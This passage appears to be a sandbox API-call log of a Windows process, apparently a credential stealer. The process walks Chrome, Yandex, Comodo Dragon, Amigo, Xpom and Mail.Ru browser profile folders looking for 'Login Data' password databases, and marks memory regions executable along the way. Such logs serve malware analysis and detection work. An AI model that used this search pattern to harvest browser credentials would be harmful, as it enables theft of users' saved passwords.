(lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\EVWhitelist\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\evwhitelist\\login data")) returned 0xffffffff [0155.861] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1 [0155.862] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.862] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\FileTypePolicies\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\filetypepolicies\\login data")) returned 0xffffffff [0155.863] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb057460, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb057460, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb057460, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1 [0155.863] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.863] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\First Run\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\first run\\login data")) returned 0xffffffff [0155.864] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda67d40, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xda67d40, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xdcf1bb0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x10ed9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1 [0155.864] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.865] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Local State\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\local state\\login data")) returned 0xffffffff [0155.866] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginTrials", cAlternateFileName="ORIGIN~1")) returned 1 [0155.866] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.866] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\OriginTrials\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\origintrials\\login data")) returned 0xffffffff [0155.866] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1 [0155.866] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.866] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\PepperFlash\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\pepperflash\\login data")) returned 0xffffffff [0155.866] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc083690, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xc083690, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xc083690, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pnacl", cAlternateFileName="")) returned 1 [0155.866] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.867] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\pnacl\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\pnacl\\login data")) returned 0xffffffff [0155.868] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSLErrorAssistant", cAlternateFileName="SSLERR~1")) returned 1 [0155.868] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.868] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\SSLErrorAssistant\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\sslerrorassistant\\login data")) returned 0xffffffff [0155.868] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1 [0155.868] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.868] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\SwReporter\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\swreporter\\login data")) returned 0xffffffff [0155.868] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0155.869] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.871] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.872] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.872] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.873] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.873] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.874] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.874] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.875] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.875] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.876] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.876] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\WidevineCdm\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\widevinecdm\\login data")) returned 0xffffffff [0155.876] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0155.876] FindClose (in: hFindFile=0x1e258c88 | out: hFindFile=0x1e258c88) returned 1 [0155.877] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf29d0, cbMultiByte=14, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="GoogleChrome64ṽȀ") returned 14 [0155.877] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf08dc, cbMultiByte=43, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Google\\Chrome SxS\\User Data\\ῦꬰῦ㟌瑿") returned 43 [0155.877] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.878] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Google\\Chrome SxS\\User Data\\", lpDst=0x1e2a1154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\") returned 0x3d [0155.878] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0155.878] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.878] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome sxs\\user data\\login data")) returned 0xffffffff [0155.878] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0155.878] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0155.878] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2b04, cbMultiByte=14, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="InternetMailRuoogle\\Chrome SxS\\User Data\\ῦꬰῦ㟌瑿") returned 14 [0155.878] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf09ac, cbMultiByte=30, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Xpom\\User Data\\xS\\User Data\\ῦꬰῦ㟌瑿") returned 30 [0155.879] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Xpom\\User Data\\", lpDst=0x1e2a1154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Xpom\\User Data\\") returned 0x30 [0155.879] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Xpom\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0155.879] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.879] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Xpom\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\xpom\\user data\\login data")) returned 0xffffffff [0155.879] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0155.879] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0155.879] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2c3c, cbMultiByte=13, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="YandexBrowserXpom\\User Data\\xS\\User Data\\ῦꬰῦ㟌瑿") returned 13 [0155.880] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0a74, cbMultiByte=46, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data\\㟌瑿") returned 46 [0155.880] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data\\", lpDst=0x1e2a1154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\") returned 0x40 [0155.880] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0155.880] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.880] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\yandex\\yandexbrowser\\user data\\login data")) returned 0xffffffff [0155.880] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0155.880] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0155.881] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2d78, cbMultiByte=12, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="ComodoDragon\\Yandex\\YandexBrowser\\User Data\\㟌瑿") returned 12 [0155.881] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0b50, cbMultiByte=39, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Comodo\\Dragon\\User Data\\r Data\\㟌瑿") returned 39 [0155.881] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Comodo\\Dragon\\User Data\\", lpDst=0x1e2a1154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Comodo\\Dragon\\User Data\\") returned 0x39 [0155.881] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0155.881] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.881] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\comodo\\dragon\\user data\\login data")) returned 0xffffffff [0155.881] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0155.881] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0155.882] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2eb8, cbMultiByte=5, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="AmigoPPDATA%\\Comodo\\Dragon\\User Data\\r Data\\㟌瑿") returned 5 [0155.882] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0c28, cbMultiByte=31, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Amigo\\User Data\\er Data\\r Data\\㟌瑿") returned 31 [0155.882] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Amigo\\User Data\\", lpDst=0x1e2a1154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Amigo\\User Data\\") returned 0x31 [0155.882] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Amigo\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0155.882] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.882] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Amigo\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\amigo\\user data\\login data")) returned 0xffffffff [0155.882] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0155.883] FindClose (in: 